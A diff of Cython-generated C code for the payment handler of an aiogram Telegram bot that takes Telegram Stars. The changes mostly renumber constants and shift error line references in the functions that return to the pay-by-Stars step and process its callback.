__pyx_n_s_STARS_BOT __pyx_mstate_global->__pyx_n_s_STARS_BOT #define __pyx_n_s_STARS_ROUTER __pyx_mstate_global->__pyx_n_s_STARS_ROUTER #define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State #define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup #define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError #define __pyx_n_u_XTR __pyx_mstate_global->__pyx_n_u_XTR +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 #define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 #define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 #define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 -#define __pyx_n_u__15 __pyx_mstate_global->__pyx_n_u__15 -#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 #define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 #define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 -#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_n_u__19 __pyx_mstate_global->__pyx_n_u__19 #define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 #define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 -#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 -#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 -#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 -#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 -#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 -#define __pyx_n_u__30 __pyx_mstate_global->__pyx_n_u__30 -#define __pyx_kp_u__31 __pyx_mstate_global->__pyx_kp_u__31 -#define __pyx_n_s__41 __pyx_mstate_global->__pyx_n_s__41 +#define __pyx_n_u__23 __pyx_mstate_global->__pyx_n_u__23 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_n_s__34 __pyx_mstate_global->__pyx_n_s__34 #define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 #define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 -#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 #define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 -#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 #define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection #define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment #define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram @@ -3675,8 +3678,10 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error #define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists #define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_n_s_format __pyx_mstate_global->__pyx_n_s_format #define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc #define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_buttons __pyx_mstate_global->__pyx_n_s_handlers_buttons #define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift #define __pyx_n_s_handlers_payments_stars_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_stars_pay #define __pyx_kp_s_handlers_payments_stars_pay_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_stars_pay_py @@ -3760,23 +3765,23 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 #define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 #define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ -#define __pyx_tuple__12 __pyx_mstate_global->__pyx_tuple__12 +#define __pyx_tuple__9 __pyx_mstate_global->__pyx_tuple__9 +#define __pyx_tuple__25 __pyx_mstate_global->__pyx_tuple__25 +#define __pyx_tuple__26 __pyx_mstate_global->__pyx_tuple__26 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 #define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 #define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 -#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 -#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 -#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 -#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 -#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 -#define __pyx_tuple__39 __pyx_mstate_global->__pyx_tuple__39 -#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 #define __pyx_codeobj__3 __pyx_mstate_global->__pyx_codeobj__3 #define __pyx_codeobj__4 __pyx_mstate_global->__pyx_codeobj__4 -#define __pyx_codeobj__10 __pyx_mstate_global->__pyx_codeobj__10 +#define __pyx_codeobj__7 __pyx_mstate_global->__pyx_codeobj__7 +#define __pyx_codeobj__15 __pyx_mstate_global->__pyx_codeobj__15 +#define __pyx_codeobj__16 __pyx_mstate_global->__pyx_codeobj__16 #define __pyx_codeobj__21 __pyx_mstate_global->__pyx_codeobj__21 -#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 -#define __pyx_codeobj__28 __pyx_mstate_global->__pyx_codeobj__28 -#define __pyx_codeobj__29 __pyx_mstate_global->__pyx_codeobj__29 +#define __pyx_codeobj__22 __pyx_mstate_global->__pyx_codeobj__22 /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ @@ -3841,7 +3846,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 34, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -3849,9 +3854,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 34, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("back_to_pay_stars_after_invoice", 1, 3, 3, 1); __PYX_ERR(0, 34, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("back_to_pay_stars_after_invoice", 1, 3, 3, 1); __PYX_ERR(0, 36, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -3859,14 +3864,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 34, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 36, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("back_to_pay_stars_after_invoice", 1, 3, 3, 2); __PYX_ERR(0, 34, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("back_to_pay_stars_after_invoice", 1, 3, 3, 2); __PYX_ERR(0, 36, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "back_to_pay_stars_after_invoice") < 0)) __PYX_ERR(0, 34, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "back_to_pay_stars_after_invoice") < 0)) __PYX_ERR(0, 36, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -3881,7 +3886,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("back_to_pay_stars_after_invoice", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 34, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("back_to_pay_stars_after_invoice", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 36, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -3920,7 +3925,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_back_to_pay_stars_after if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__back_to_pay_stars_after_invoice *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 34, __pyx_L1_error) + __PYX_ERR(0, 36, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -3934,7 +3939,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_back_to_pay_stars_after __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_back_to_pay_stars_after_invoice, __pyx_n_s_back_to_pay_stars_after_invoice, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 34, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_back_to_pay_stars_after_invoice, __pyx_n_s_back_to_pay_stars_after_invoice, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -3988,7 +3993,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 34, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 36, __pyx_L1_error) { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); @@ -3997,9 +4002,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 40, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_delete); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 38, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_delete); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 40, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -4020,7 +4025,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 40, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -4050,12 +4055,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 38, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 40, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 38, __pyx_L4_error) + else __PYX_ERR(0, 40, __pyx_L4_error) } } @@ -4072,7 +4077,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_8) { __Pyx_AddTraceback("handlers.payments.stars_pay.back_to_pay_stars_after_invoice", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_6, &__pyx_t_5) < 0) __PYX_ERR(0, 39, __pyx_L6_except_error) + if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_6, &__pyx_t_5) < 0) __PYX_ERR(0, 41, __pyx_L6_except_error) __Pyx_XGOTREF(__pyx_t_4); __Pyx_XGOTREF(__pyx_t_6); __Pyx_XGOTREF(__pyx_t_5); @@ -4081,14 +4086,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_cur_scope->__pyx_v_e = __pyx_t_6; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_logger); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 40, __pyx_L16_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_logger); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 42, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_warning); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 40, __pyx_L16_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_warning); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 42, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 40, __pyx_L16_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 42, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__2, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 40, __pyx_L16_error) + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__2, __pyx_t_10); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 42, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; @@ -4110,7 +4115,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 40, __pyx_L16_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 42, __pyx_L16_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -4181,7 +4186,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_L9_try_end:; } - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_callback_pay_stars); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_callback_pay_stars); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; __pyx_t_7 = 0; @@ -4201,7 +4206,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout PyObject *__pyx_callargs[4] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_callback_query, __pyx_cur_scope->__pyx_v_state, __pyx_cur_scope->__pyx_v_session}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 3+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 42, __pyx_L1_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -4216,12 +4221,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_2generator(__pyx_Corout __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L22_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 42, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 44, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 42, __pyx_L1_error) + else __PYX_ERR(0, 44, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -4313,7 +4318,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 46, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 48, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -4321,9 +4326,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 46, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 48, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("back_to_pay_stars", 1, 3, 3, 1); __PYX_ERR(0, 46, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("back_to_pay_stars", 1, 3, 3, 1); __PYX_ERR(0, 48, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -4331,14 +4336,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 46, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 48, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("back_to_pay_stars", 1, 3, 3, 2); __PYX_ERR(0, 46, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("back_to_pay_stars", 1, 3, 3, 2); __PYX_ERR(0, 48, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "back_to_pay_stars") < 0)) __PYX_ERR(0, 46, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "back_to_pay_stars") < 0)) __PYX_ERR(0, 48, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -4353,7 +4358,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("back_to_pay_stars", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 46, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("back_to_pay_stars", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 48, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4392,7 +4397,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_3back_to_pay_stars(CYTH if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_back_to_pay_stars *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 46, __pyx_L1_error) + __PYX_ERR(0, 48, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4406,7 +4411,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_3back_to_pay_stars(CYTH __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_back_to_pay_stars, __pyx_n_s_back_to_pay_stars, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 46, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_back_to_pay_stars, __pyx_n_s_back_to_pay_stars, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 48, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4443,9 +4448,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 46, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 48, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_process_callback_pay_stars); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_process_callback_pay_stars); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -4465,7 +4470,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou PyObject *__pyx_callargs[4] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_callback_query, __pyx_cur_scope->__pyx_v_state, __pyx_cur_scope->__pyx_v_session}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -4480,12 +4485,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_Corou __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 49, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 51, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 49, __pyx_L1_error) + else __PYX_ERR(0, 51, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -4572,7 +4577,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 52, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 54, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -4580,9 +4585,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 52, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 54, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 1); __PYX_ERR(0, 52, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 1); __PYX_ERR(0, 54, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -4590,14 +4595,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 52, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 54, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 2); __PYX_ERR(0, 52, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, 2); __PYX_ERR(0, 54, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_stars") < 0)) __PYX_ERR(0, 52, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_stars") < 0)) __PYX_ERR(0, 54, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -4612,7 +4617,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 52, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_stars", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 54, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4651,7 +4656,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_6process_callback_pay_s if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_callback_pay_stars *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 52, __pyx_L1_error) + __PYX_ERR(0, 54, 